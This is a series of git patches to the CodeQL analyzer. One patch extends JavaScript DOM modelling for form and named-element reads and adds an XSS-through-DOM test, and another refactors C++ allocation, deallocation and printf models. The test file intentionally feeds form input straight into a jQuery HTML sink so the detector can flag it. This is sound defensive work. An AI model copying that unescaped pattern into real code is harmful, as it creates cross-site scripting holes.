+++++++++++++++++++ .../XssThroughDom/XssThroughDom.expected | 15 +++++++---- .../CWE-079/XssThroughDom/xss-through-dom.js | 4 ++- 3 files changed, 38 insertions(+), 6 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/DOM.qll b/javascript/ql/src/semmle/javascript/DOM.qll index 684ecf3b0d4..a1facf39505 100644 --- a/javascript/ql/src/semmle/javascript/DOM.qll +++ b/javascript/ql/src/semmle/javascript/DOM.qll @@ -298,6 +298,23 @@ module DOM { ) } + /** + * A data flow node that might refer to some form. + * Either by a read like `document.forms[0]`, or a property read from `document` with some constant property-name. + * E.g. if `<form name="foobar">..</form>` exists, then `document.foobar` refers to that form. + */ + private DataFlow::SourceNode forms() { + result = documentRef().getAPropertyRead("forms").getAPropertyRead() + or + exists(DataFlow::PropRead read | + read = documentRef().getAPropertyRead() and + result = read + | + read.mayHavePropertyName(_) and + not read.mayHavePropertyName(getADomPropertyName()) + ) + } + private class DefaultRange extends Range { DefaultRange() { this.asExpr().(VarAccess).getVariable() instanceof DOMGlobalVariable @@ -317,6 +334,14 @@ module DOM { or this = domElementCollection() or + this = forms() + or + // reading property `foo` - where a child has `name="foo"` - resolves to that child. + // We only look for such properties on forms/document, to avoid potential false positives. + exists(DataFlow::SourceNode form | form = [forms(), documentRef()] | + this = form.getAPropertyRead(any(string s | not s = getADomPropertyName())) + ) + or exists(JQuery::MethodCall call | this = call and call.getMethodName() = "get" | call.getNumArgument() = 1 and forex(InferredType t | t = call.getArgument(0).analyze().getAType() | t = TTNumber()) diff --git a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected index d9b5f99525b..ae003b99243 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected @@ -44,8 +44,11 @@ nodes | xss-through-dom.js:73:9:73:41 | selector | | xss-through-dom.js:73:20:73:41 | $("inpu ... 0).name | | xss-through-dom.js:73:20:73:41 | $("inpu ... 0).name | -| xss-through-dom.js:77:7:77:14 | selector | -| xss-through-dom.js:77:7:77:14 | selector | +| xss-through-dom.js:77:4:77:11 | selector | +| xss-through-dom.js:77:4:77:11 | selector | +| xss-through-dom.js:79:4:79:34 | documen ... t.value | +| xss-through-dom.js:79:4:79:34 | documen ... t.value | +| xss-through-dom.js:79:4:79:34 | documen ... t.value | edges | xss-through-dom.js:2:16:2:34 | $("textarea").val() | xss-through-dom.js:2:16:2:34 | $("textarea").val() | | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | @@ -61,10 +64,11 @@ edges | xss-through-dom.js:61:30:61:69 | $(docum ... value") | xss-through-dom.js:61:30:61:69 | $(docum ... value") | | xss-through-dom.js:64:30:64:40 | valMethod() | xss-through-dom.js:64:30:64:40 | valMethod() | | xss-through-dom.js:71:11:71:32 | $("inpu ... 0).name | xss-through-dom.js:71:11:71:32 | $("inpu ... 0).name | -| xss-through-dom.js:73:9:73:41 | selector | xss-through-dom.js:77:7:77:14 | selector | -| xss-through-dom.js:73:9:73:41 | selector | xss-through-dom.js:77:7:77:14 | selector | +| xss-through-dom.js:73:9:73:41 | selector | xss-through-dom.js:77:4:77:11 | selector | +| xss-through-dom.js:73:9:73:41 | selector | xss-through-dom.js:77:4:77:11 | selector | | xss-through-dom.js:73:20:73:41 | $("inpu ... 0).name | xss-through-dom.js:73:9:73:41 | selector | | xss-through-dom.js:73:20:73:41 | $("inpu ... 0).name | xss-through-dom.js:73:9:73:41 | selector | +| xss-through-dom.js:79:4:79:34 | documen ... t.value | xss-through-dom.js:79:4:79:34 | documen ... t.value | #select | xss-through-dom.js:2:16:2:34 | $("textarea").val() | xss-through-dom.js:2:16:2:34 | $("textarea").val() | xss-through-dom.js:2:16:2:34 | $("textarea").val() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:2:16:2:34 | $("textarea").val() | DOM text | | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | DOM text | @@ -80,4 +84,5 @@ edges | xss-through-dom.js:61:30:61:69 | $(docum ... value") | xss-through-dom.js:61:30:61:69 | $(docum ... value") | xss-through-dom.js:61:30:61:69 | $(docum ... value") | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:61:30:61:69 | $(docum ... value") | DOM text | | xss-through-dom.js:64:30:64:40 | valMethod() | xss-through-dom.js:64:30:64:40 | valMethod() | xss-through-dom.js:64:30:64:40 | valMethod() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:64:30:64:40 | valMethod() | DOM text | | xss-through-dom.js:71:11:71:32 | $("inpu ... 0).name | xss-through-dom.js:71:11:71:32 | $("inpu ... 0).name | xss-through-dom.js:71:11:71:32 | $("inpu ... 0).name | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:71:11:71:32 | $("inpu ... 0).name | DOM text | -| xss-through-dom.js:77:7:77:14 | selector | xss-through-dom.js:73:20:73:41 | $("inpu ... 0).name | xss-through-dom.js:77:7:77:14 | selector | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:73:20:73:41 | $("inpu ... 0).name | DOM text | +| xss-through-dom.js:77:4:77:11 | selector | xss-through-dom.js:73:20:73:41 | $("inpu ... 0).name | xss-through-dom.js:77:4:77:11 | selector | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:73:20:73:41 | $("inpu ... 0).name | DOM text | +| xss-through-dom.js:79:4:79:34 | documen ... t.value | xss-through-dom.js:79:4:79:34 | documen ... t.value | xss-through-dom.js:79:4:79:34 | documen ... t.value | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:79:4:79:34 | documen ... t.value | DOM text | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/xss-through-dom.js b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/xss-through-dom.js index c86c1788b12..72694a9e02e 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/xss-through-dom.js +++ b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/xss-through-dom.js @@ -74,5 +74,7 @@ if (something()) { selector = $("textarea").val || '' } - $(selector); // NOT OK + $(selector); // NOT OK + + $(document.my_form.my_input.value); // NOT OK })(); \ No newline at end of file From 47488f86b5637b8b96264826dba0164ae7291596 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Thu, 3 Dec 2020 16:58:08 +0100 Subject: [PATCH 0130/1241] update test --- .../ql/test/library-tests/DOM/Customizations.expected | 2 ++ .../ql/test/library-tests/DOM/externs/externs.js | 10 ++++++++++ 2 files changed, 12 insertions(+) diff --git a/javascript/ql/test/library-tests/DOM/Customizations.expected b/javascript/ql/test/library-tests/DOM/Customizations.expected index b0526ebe923..c1c6b5f5cc2 100644 --- a/javascript/ql/test/library-tests/DOM/Customizations.expected +++ b/javascript/ql/test/library-tests/DOM/Customizations.expected @@ -4,7 +4,9 @@ test_documentRef test_locationRef | customization.js:3:3:3:14 | doc.location | test_domValueRef +| customization.js:4:3:4:20 | doc.getElementById | | customization.js:4:3:4:28 | doc.get ... 'test') | +| nameditems.js:1:1:1:23 | documen ... entById | | nameditems.js:1:1:1:30 | documen ... ('foo') | | nameditems.js:1:1:2:19 | documen ... em('x') | | tst.js:49:3:49:8 | window | diff --git a/javascript/ql/test/library-tests/DOM/externs/externs.js b/javascript/ql/test/library-tests/DOM/externs/externs.js index 48620ec0178..65275595fc5 100644 --- a/javascript/ql/test/library-tests/DOM/externs/externs.js +++ b/javascript/ql/test/library-tests/DOM/externs/externs.js @@ -8,3 +8,13 @@ function EventTarget() {} /** @type {EventTarget} */ var window; + +/** + * @see http://dev.w3.org/html5/workers/ + * @interface + * @extends {EventTarget} + */ +function WorkerGlobalScope() {} + +/** @type {WorkerLocation} */ +WorkerGlobalScope.prototype.location; From 2a4fba0ff9cae1f0551635633ab5df821ef4309c Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 3 Dec 2020 17:27:31 +0000 Subject: [PATCH 0131/1241] C++: Use [,] more in models. --- .../cpp/models/implementations/Allocation.qll | 240 ++++++------------ .../models/implementations/Deallocation.qll | 88 ++----- .../cpp/models/implementations/Iterator.qll | 6 +- .../cpp/models/implementations/Memset.qll | 9 +- .../cpp/models/implementations/Printf.qll | 91 +++---- .../models/implementations/StdContainer.qll | 15 +- .../cpp/models/implementations/StdString.qll | 5 +- .../cpp/models/implementations/Strcat.qll | 40 ++- .../cpp/models/implementations/Strdup.qll | 26 +- .../code/cpp/models/interfaces/Allocation.qll | 14 +- .../cpp/models/interfaces/Deallocation.qll | 14 +- 11 files changed, 171 insertions(+), 377 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Allocation.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Allocation.qll index 709d3c3db00..058adc1cd87 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Allocation.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Allocation.qll @@ -14,95 +14,49 @@ private class MallocAllocationFunction extends AllocationFunction { int sizeArg; MallocAllocationFunction() { - exists(string name | - hasGlobalOrStdName(name) and - // malloc(size) - (name = "malloc" and sizeArg = 0) - or - hasGlobalName(name) and - ( - // ExAllocatePool(type, size) - name = "ExAllocatePool" and sizeArg = 1 - or - // ExAllocatePool(type, size, tag) - name = "ExAllocatePoolWithTag" and sizeArg = 1 - or - // ExAllocatePoolWithTagPriority(type, size, tag, priority) - name = "ExAllocatePoolWithTagPriority" and sizeArg = 1 - or - // ExAllocatePoolWithQuota(type, size) - name = "ExAllocatePoolWithQuota" and sizeArg = 1 - or - // ExAllocatePoolWithQuotaTag(type, size, tag) - name = "ExAllocatePoolWithQuotaTag" and sizeArg = 1 - or - // IoAllocateMdl(address, size, flag, flag, irp) - name = "IoAllocateMdl" and sizeArg = 1 - or - // IoAllocateErrorLogEntry(object, size) - name = "IoAllocateErrorLogEntry" and sizeArg = 1 - or - // MmAllocateContiguousMemory(size, maxaddress) - name = "MmAllocateContiguousMemory" and sizeArg = 0 - or - // MmAllocateContiguousNodeMemory(size, minaddress, maxaddress, bound, flag, prefer) - name = "MmAllocateContiguousNodeMemory" and sizeArg = 0 - or - // MmAllocateContiguousMemorySpecifyCache(size, minaddress, maxaddress, bound, type) - name = "MmAllocateContiguousMemorySpecifyCache" and sizeArg = 0 - or - // MmAllocateContiguousMemorySpecifyCacheNode(size, minaddress, maxaddress, bound, type, prefer) - name = "MmAllocateContiguousMemorySpecifyCacheNode" and sizeArg = 0 - or - // MmAllocateNonCachedMemory(size) - name = "MmAllocateNonCachedMemory" and sizeArg = 0 - or - // MmAllocateMappingAddress(size, tag) - name = "MmAllocateMappingAddress" and sizeArg = 0 - or - // MmAllocatePagesForMdl(minaddress, maxaddress, skip, size) - name = "MmAllocatePagesForMdl" and sizeArg = 3 - or - // MmAllocatePagesForMdlEx(minaddress, maxaddress, skip, size, type, flags) - name = "MmAllocatePagesForMdlEx" and sizeArg = 3 - or - // MmAllocateNodePagesForMdlEx(minaddress, maxaddress, skip, size, type, prefer, flags) - name = "MmAllocateNodePagesForMdlEx" and sizeArg = 3 - or - // LocalAlloc(flags, size) - name = "LocalAlloc" and sizeArg = 1 - or - // GlobalAlloc(flags, size) - name = "GlobalAlloc" and sizeArg = 1 - or - // HeapAlloc(heap, flags, size) - name = "HeapAlloc" and sizeArg = 2 - or - // VirtualAlloc(address, size, type, flag) - name = "VirtualAlloc" and sizeArg = 1 - or - // CoTaskMemAlloc(size) - name = "CoTaskMemAlloc" and sizeArg = 0 - or - // kmem_alloc(size, flags) - name = "kmem_alloc" and sizeArg = 0 - or - // kmem_zalloc(size, flags) - name = "kmem_zalloc" and sizeArg = 0 - or - // CRYPTO_malloc(size_t num, const char *file, int line) - name = "CRYPTO_malloc" and sizeArg = 0 - or - // CRYPTO_zalloc(size_t num, const char *file, int line) - name = "CRYPTO_zalloc" and sizeArg = 0 - or - // CRYPTO_secure_malloc(size_t num, const char *file, int line) - name = "CRYPTO_secure_malloc" and sizeArg = 0 - or - // CRYPTO_secure_zalloc(size_t num, const char *file, int line) - name = "CRYPTO_secure_zalloc" and sizeArg = 0 - ) - ) + hasGlobalOrStdName("malloc") and // malloc(size) + sizeArg = 0 + or + hasGlobalName([ + "MmAllocateContiguousMemory", // MmAllocateContiguousMemory(size, maxaddress) + "MmAllocateContiguousNodeMemory", // MmAllocateContiguousNodeMemory(size, minaddress, maxaddress, bound, flag, prefer) + "MmAllocateContiguousMemorySpecifyCache", // MmAllocateContiguousMemorySpecifyCache(size, minaddress, maxaddress, bound, type) + "MmAllocateContiguousMemorySpecifyCacheNode", // MmAllocateContiguousMemorySpecifyCacheNode(size, minaddress, maxaddress, bound, type, prefer) + "MmAllocateNonCachedMemory", // MmAllocateNonCachedMemory(size) + "MmAllocateMappingAddress", // MmAllocateMappingAddress(size, tag) + "CoTaskMemAlloc", // CoTaskMemAlloc(size) + "kmem_alloc", // kmem_alloc(size, flags) + "kmem_zalloc", // kmem_zalloc(size, flags) + "CRYPTO_malloc", // CRYPTO_malloc(size_t num, const char *file, int line) + "CRYPTO_zalloc", // CRYPTO_zalloc(size_t num, const char *file, int line) + "CRYPTO_secure_malloc", // CRYPTO_secure_malloc(size_t num, const char *file, int line) + "CRYPTO_secure_zalloc" // CRYPTO_secure_zalloc(size_t num, const char *file, int line) + ]) and + sizeArg = 0 + or + hasGlobalName([ + "ExAllocatePool", // ExAllocatePool(type, size) + "ExAllocatePoolWithTag", // ExAllocatePool(type, size, tag) + "ExAllocatePoolWithTagPriority", // ExAllocatePoolWithTagPriority(type, size, tag, priority) + "ExAllocatePoolWithQuota", // ExAllocatePoolWithQuota(type, size) + "ExAllocatePoolWithQuotaTag", // ExAllocatePoolWithQuotaTag(type, size, tag) + "IoAllocateMdl", // IoAllocateMdl(address, size, flag, flag, irp) + "IoAllocateErrorLogEntry", // IoAllocateErrorLogEntry(object, size) + "LocalAlloc", // LocalAlloc(flags, size) + "GlobalAlloc", // GlobalAlloc(flags, size) + "VirtualAlloc" // VirtualAlloc(address, size, type, flag) + ]) and + sizeArg = 1 + or + hasGlobalName(["HeapAlloc"]) and // HeapAlloc(heap, flags, size) + sizeArg = 2 + or + hasGlobalName([ + "MmAllocatePagesForMdl", // MmAllocatePagesForMdl(minaddress, maxaddress, skip, size) + "MmAllocatePagesForMdlEx", // MmAllocatePagesForMdlEx(minaddress, maxaddress, skip, size, type, flags) + "MmAllocateNodePagesForMdlEx" // MmAllocateNodePagesForMdlEx(minaddress, maxaddress, skip, size, type, prefer, flags) + ]) and + sizeArg = 3 } override int getSizeArg() { result = sizeArg } @@ -116,16 +70,11 @@ private class AllocaAllocationFunction extends AllocationFunction { int sizeArg; AllocaAllocationFunction() { - exists(string name | - hasGlobalName(name) and - ( - // alloca(size) - name = "alloca" and sizeArg = 0 - or - // __builtin_alloca(size) - name = "__builtin_alloca" and sizeArg = 0 - ) - ) + hasGlobalName([ + "alloca", // // alloca(size) + "__builtin_alloca" // __builtin_alloca(size) + ]) and + sizeArg = 0 } override int getSizeArg() { result = sizeArg } @@ -142,11 +91,9 @@ private class CallocAllocationFunction extends AllocationFunction { int multArg; CallocAllocationFunction() { - exists(string name | - hasGlobalOrStdName(name) and - // calloc(num, size) - (name = "calloc" and sizeArg = 1 and multArg = 0) - ) + hasGlobalOrStdName("calloc") and // calloc(num, size) + sizeArg = 1 and + multArg = 0 } override int getSizeArg() { result = sizeArg } @@ -163,29 +110,22 @@ private class ReallocAllocationFunction extends AllocationFunction { int reallocArg; ReallocAllocationFunction() { - exists(string name | - hasGlobalOrStdName(name) and - // realloc(ptr, size) - (name = "realloc" and sizeArg = 1 and reallocArg = 0) - or - hasGlobalName(name) and - ( - // LocalReAlloc(ptr, size, flags) - name = "LocalReAlloc" and sizeArg = 1 and reallocArg = 0 - or - // GlobalReAlloc(ptr, size, flags) - name = "GlobalReAlloc" and sizeArg = 1 and reallocArg = 0 - or - // HeapReAlloc(heap, flags, ptr, size) - name = "HeapReAlloc" and sizeArg = 3 and reallocArg = 2 - or - // CoTaskMemRealloc(ptr, size) - name = "CoTaskMemRealloc" and sizeArg = 1 and reallocArg = 0 - or - // CRYPTO_realloc(void *addr, size_t num, const char *file, int line); - name = "CRYPTO_realloc" and sizeArg = 1 and reallocArg = 0 - ) - ) + hasGlobalOrStdName("realloc") and // realloc(ptr, size) + sizeArg = 1 and + reallocArg = 0 + or + hasGlobalName([ + "LocalReAlloc", // LocalReAlloc(ptr, size, flags) + "GlobalReAlloc", // GlobalReAlloc(ptr, size, flags) + "CoTaskMemRealloc", // CoTaskMemRealloc(ptr, size) + "CRYPTO_realloc" // CRYPTO_realloc(void *addr, size_t num, const char *file, int line) + ]) and + sizeArg = 1 and + reallocArg = 0 + or + hasGlobalName("HeapReAlloc") and // HeapReAlloc(heap, flags, ptr, size) + sizeArg = 3 and + reallocArg = 2 } override int getSizeArg() { result = sizeArg } @@ -199,40 +139,18 @@ private class ReallocAllocationFunction extends AllocationFunction { */ private class SizelessAllocationFunction extends AllocationFunction { SizelessAllocationFunction() { - exists(string name | - hasGlobalName(name) and - ( - // ExAllocateFromLookasideListEx(list) - name = "ExAllocateFromLookasideListEx" - or - // ExAllocateFromPagedLookasideList(list) - name = "ExAllocateFromPagedLookasideList" - or - // ExAllocateFromNPagedLookasideList(list) - name = "ExAllocateFromNPagedLookasideList" - or - // ExAllocateTimer(callback, context, attributes) - name = "ExAllocateTimer" - or - // IoAllocateWorkItem(object) - name = "IoAllocateWorkItem" - or - // MmMapLockedPagesWithReservedMapping(address, tag, list, type) - name = "MmMapLockedPagesWithReservedMapping" - or - // MmMapLockedPages(list, mode) - name = "MmMapLockedPages" - or - // MmMapLockedPagesSpecifyCache(list, mode, type, address, flag, flag) - name = "MmMapLockedPagesSpecifyCache" - or - // pool_get(pool, flags) - name = "pool_get" - or - // pool_cache_get(pool, flags) - name = "pool_cache_get" - ) - ) + hasGlobalName([ + "ExAllocateFromLookasideListEx", // ExAllocateFromLookasideListEx(list) + "ExAllocateFromPagedLookasideList", // ExAllocateFromPagedLookasideList(list) + "ExAllocateFromNPagedLookasideList", // ExAllocateFromNPagedLookasideList(list) + "ExAllocateTimer", // ExAllocateTimer(callback, context, attributes) + "IoAllocateWorkItem", // IoAllocateWorkItem(object) + "MmMapLockedPagesWithReservedMapping", // MmMapLockedPagesWithReservedMapping(address, tag, list, type) + "MmMapLockedPages", // MmMapLockedPages(list, mode) + "MmMapLockedPagesSpecifyCache", // MmMapLockedPagesSpecifyCache(list, mode, type, address, flag, flag) + "pool_get", // pool_get(pool, flags) + "pool_cache_get" // pool_cache_get(pool, flags) + ]) } } diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Deallocation.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Deallocation.qll index 3c65aa699be..4e2f8d5434b 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Deallocation.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Deallocation.qll @@ -14,75 +14,27 @@ private class StandardDeallocationFunction extends DeallocationFunction { StandardDeallocationFunction() { exists(string name | - hasGlobalName(name) and - ( - name = "free" and freedArg = 0 - or - name = "realloc" and freedArg = 0 - or - name = "CRYPTO_free" and freedArg = 0 - or - name = "CRYPTO_secure_free" and freedArg = 0 - ) + hasGlobalName(["free", "realloc", "CRYPTO_free", "CRYPTO_secure_free"]) and + freedArg = 0 or - hasGlobalOrStdName(name) and - ( - name = "ExFreePoolWithTag" and freedArg = 0 - or - name = "ExFreeToLookasideListEx" and freedArg = 1 - or - name = "ExFreeToPagedLookasideList" and freedArg = 1 - or - name = "ExFreeToNPagedLookasideList" and freedArg = 1 - or - name = "ExDeleteTimer" and freedArg = 0 - or - name = "IoFreeMdl" and freedArg = 0 - or - name = "IoFreeWorkItem" and freedArg = 0 - or - name = "IoFreeErrorLogEntry" and freedArg = 0 - or - name = "MmFreeContiguousMemory" and freedArg = 0 - or - name = "MmFreeContiguousMemorySpecifyCache" and freedArg = 0 - or - name = "MmFreeNonCachedMemory" and freedArg = 0 - or - name = "MmFreeMappingAddress" and freedArg = 0 - or - name = "MmFreePagesFromMdl" and freedArg = 0 - or - name = "MmUnmapReservedMapping" and freedArg = 0 - or - name = "MmUnmapLockedPages" and freedArg = 0 - or - name = "LocalFree" and freedArg = 0 - or - name = "GlobalFree" and freedArg = 0 - or - name = "HeapFree" and freedArg = 2 - or - name = "VirtualFree" and freedArg = 0 - or - name = "CoTaskMemFree" and freedArg = 0 - or - name = "SysFreeString" and freedArg = 0 - or - name = "LocalReAlloc" and freedArg = 0 - or - name = "GlobalReAlloc" and freedArg = 0 - or - name = "HeapReAlloc" and freedArg = 2 - or - name = "CoTaskMemRealloc" and freedArg = 0 - or - name = "kmem_free" and freedArg = 0 - or - name = "pool_put" and freedArg = 1 - or - name = "pool_cache_put" and freedArg = 1 - ) + hasGlobalOrStdName([ + "ExFreePoolWithTag", "ExDeleteTimer", "IoFreeMdl", "IoFreeWorkItem", + "IoFreeErrorLogEntry", "MmFreeContiguousMemory", "MmFreeContiguousMemorySpecifyCache", + "MmFreeNonCachedMemory", "MmFreeMappingAddress", "MmFreePagesFromMdl", + "MmUnmapReservedMapping", "MmUnmapLockedPages", "LocalFree", "GlobalFree", "VirtualFree", + "CoTaskMemFree", "SysFreeString", "LocalReAlloc", "GlobalReAlloc", "CoTaskMemRealloc", + "kmem_free" + ]) and + freedArg = 0 + or + hasGlobalOrStdName([ + "ExFreeToLookasideListEx", "ExFreeToPagedLookasideList", "ExFreeToNPagedLookasideList", + "pool_put", "pool_cache_put" + ]) and + freedArg = 1 + or + hasGlobalOrStdName(["HeapFree", "HeapReAlloc"]) and + freedArg = 2 ) } diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Iterator.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Iterator.qll index 3a789a6aa25..7c649fdd047 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Iterator.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Iterator.qll @@ -31,11 +31,7 @@ private class IteratorTraits extends Class { */ private class IteratorByTypedefs extends Iterator, Class { IteratorByTypedefs() { - this.getAMember().(TypedefType).hasName("difference_type") and - this.getAMember().(TypedefType).hasName("value_type") and - this.getAMember().(TypedefType).hasName("pointer") and - this.getAMember().(TypedefType).hasName("reference") and - this.getAMember().(TypedefType).hasName("iterator_category") and + this.getAMember().(TypedefType).hasName(["difference_type", "value_type", "pointer", "reference", "iterator_category"]) and not this.hasQualifiedName("std", "iterator_traits") } } diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Memset.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Memset.qll index 0436fbeead9..a7331e14e8a 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Memset.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Memset.qll @@ -15,13 +15,8 @@ import semmle.code.cpp.models.interfaces.SideEffect private class MemsetFunction extends ArrayFunction, DataFlowFunction, AliasFunction, SideEffectFunction { MemsetFunction() { - hasGlobalName("memset") or - hasGlobalName("wmemset") or - hasGlobalName("bzero") or - hasGlobalName("__builtin_memset") or - hasGlobalName("__builtin_memset_chk") or - hasQualifiedName("std", "memset") or - hasQualifiedName("std", "wmemset") + hasGlobalName(["memset", "wmemset", "bzero", "__builtin_memset", "__builtin_memset_chk"]) or + hasQualifiedName("std", ["memset", "wmemset"]) } override predicate hasArrayOutput(int bufParam) { bufParam = 0 } diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Printf.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Printf.qll index efa39849b14..1767261efac 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Printf.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Printf.qll @@ -15,11 +15,8 @@ private class Printf extends FormattingFunction, AliasFunction { Printf() { this instanceof TopLevelFunction and ( - hasGlobalOrStdName("printf") or - hasGlobalName("printf_s") or - hasGlobalOrStdName("wprintf") or - hasGlobalName("wprintf_s") or - hasGlobalName("g_printf") + hasGlobalOrStdName(["printf", "wprintf"]) or + hasGlobalName(["printf_s", "wprintf_s", "g_printf"]) ) and not exists(getDefinition().getFile().getRelativePath()) } @@ -47,8 +44,7 @@ private class Fprintf extends FormattingFunction { Fprintf() { this instanceof TopLevelFunction and ( - hasGlobalOrStdName("fprintf") or - hasGlobalOrStdName("fwprintf") or + hasGlobalOrStdName(["fprintf", "fwprintf"]) or hasGlobalName("g_fprintf") ) and not exists(getDefinition().getFile().getRelativePath()) @@ -68,26 +64,18 @@ private class Sprintf extends FormattingFunction { Sprintf() { this instanceof TopLevelFunction and ( - // sprintf(dst, format, args...) - hasGlobalOrStdName("sprintf") + hasGlobalOrStdName([ + "sprintf", // sprintf(dst, format, args...) + "wsprintf" // wsprintf(dst, format, args...) + ]) or - // _sprintf_l(dst, format, locale, args...) - hasGlobalName("_sprintf_l") - or - // __swprintf_l(dst, format, locale, args...) - hasGlobalName("__swprintf_l") - or - // wsprintf(dst, format, args...) - hasGlobalOrStdName("wsprintf") - or - // g_strdup_printf(format, ...) - hasGlobalName("g_strdup_printf") - or - // g_sprintf(dst, format, ...) - hasGlobalName("g_sprintf") - or - // __builtin___sprintf_chk(dst, flag, os, format, ...) - hasGlobalName("__builtin___sprintf_chk") + hasGlobalName([ + "_sprintf_l", // _sprintf_l(dst, format, locale, args...) + "__swprintf_l", // __swprintf_l(dst, format, locale, args...) + "g_strdup_printf", // g_strdup_printf(format, ...) + "g_sprintf", // g_sprintf(dst, format, ...) + "__builtin___sprintf_chk" // __builtin___sprintf_chk(dst, flag, os, format, ...) + ]) ) and not exists(getDefinition().getFile().getRelativePath()) } @@ -106,8 +94,7 @@ private class Sprintf extends FormattingFunction { or hasGlobalName("__builtin___sprintf_chk") and result = 3 or - getName() != "g_strdup_printf" and - getName() != "__builtin___sprintf_chk" and + not getName() = ["g_strdup_printf", "__builtin___sprintf_chk"] and result = 1 } @@ -129,26 +116,18 @@ private class SnprintfImpl extends Snprintf { SnprintfImpl() { this instanceof TopLevelFunction and ( - hasGlobalOrStdName("snprintf") or // C99 defines snprintf - hasGlobalOrStdName("swprintf") or // The s version of wide-char printf is also always the n version + hasGlobalOrStdName([ + "snprintf", // C99 defines snprintf + "swprintf" // The s version of wide-char printf is also always the n version + ]) + or // Microsoft has _snprintf as well as several other variations - hasGlobalName("sprintf_s") or - hasGlobalName("snprintf_s") or - hasGlobalName("swprintf_s") or - hasGlobalName("_snprintf") or - hasGlobalName("_snprintf_s") or - hasGlobalName("_snprintf_l") or - hasGlobalName("_snprintf_s_l") or - hasGlobalName("_snwprintf") or - hasGlobalName("_snwprintf_s") or - hasGlobalName("_snwprintf_l") or - hasGlobalName("_snwprintf_s_l") or - hasGlobalName("_sprintf_s_l") or - hasGlobalName("_swprintf_l") or - hasGlobalName("_swprintf_s_l") or - hasGlobalName("g_snprintf") or - hasGlobalName("wnsprintf") or - hasGlobalName("__builtin___snprintf_chk") + hasGlobalName([ + "sprintf_s", "snprintf_s", "swprintf_s", "_snprintf", "_snprintf_s", "_snprintf_l", + "_snprintf_s_l", "_snwprintf", "_snwprintf_s", "_snwprintf_l", "_snwprintf_s_l", + "_sprintf_s_l", "_swprintf_l", "_swprintf_s_l", "g_snprintf", "wnsprintf", + "__builtin___snprintf_chk" + ]) ) and not exists(getDefinition().getFile().getRelativePath()) } @@ -186,9 +165,7 @@ private class SnprintfImpl extends Snprintf { override predicate returnsFullFormatLength() { ( hasGlobalOrStdName("snprintf") or - hasGlobalName("g_snprintf") or - hasGlobalName("__builtin___snprintf_chk") or - hasGlobalName("snprintf_s") + hasGlobalName(["g_snprintf", "__builtin___snprintf_chk", "snprintf_s"]) ) and not exists(getDefinition().getFile().getRelativePath()) } @@ -202,16 +179,10 @@ private class SnprintfImpl extends Snprintf { private class StringCchPrintf extends FormattingFunction { StringCchPrintf() { this instanceof TopLevelFunction and - ( - hasGlobalName("StringCchPrintf") or - hasGlobalName("StringCchPrintfEx") or - hasGlobalName("StringCchPrintf_l") or - hasGlobalName("StringCchPrintf_lEx") or - hasGlobalName("StringCbPrintf") or - hasGlobalName("StringCbPrintfEx") or - hasGlobalName("StringCbPrintf_l") or - hasGlobalName("StringCbPrintf_lEx") - ) and + hasGlobalName([ + "StringCchPrintf", "StringCchPrintfEx", "StringCchPrintf_l", "StringCchPrintf_lEx", + "StringCbPrintf", "StringCbPrintfEx", "StringCbPrintf_l", "StringCbPrintf_lEx" + ]) and not exists(getDefinition().getFile().getRelativePath()) } diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll index e7abae4161f..a19fe8083fa 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdContainer.qll @@ -69,10 +69,8 @@ private class StdSequenceContainerData extends TaintFunction { */ private class StdSequenceContainerPush extends TaintFunction { StdSequenceContainerPush() { - this.hasQualifiedName("std", "vector", "push_back") or - this.hasQualifiedName("std", "deque", 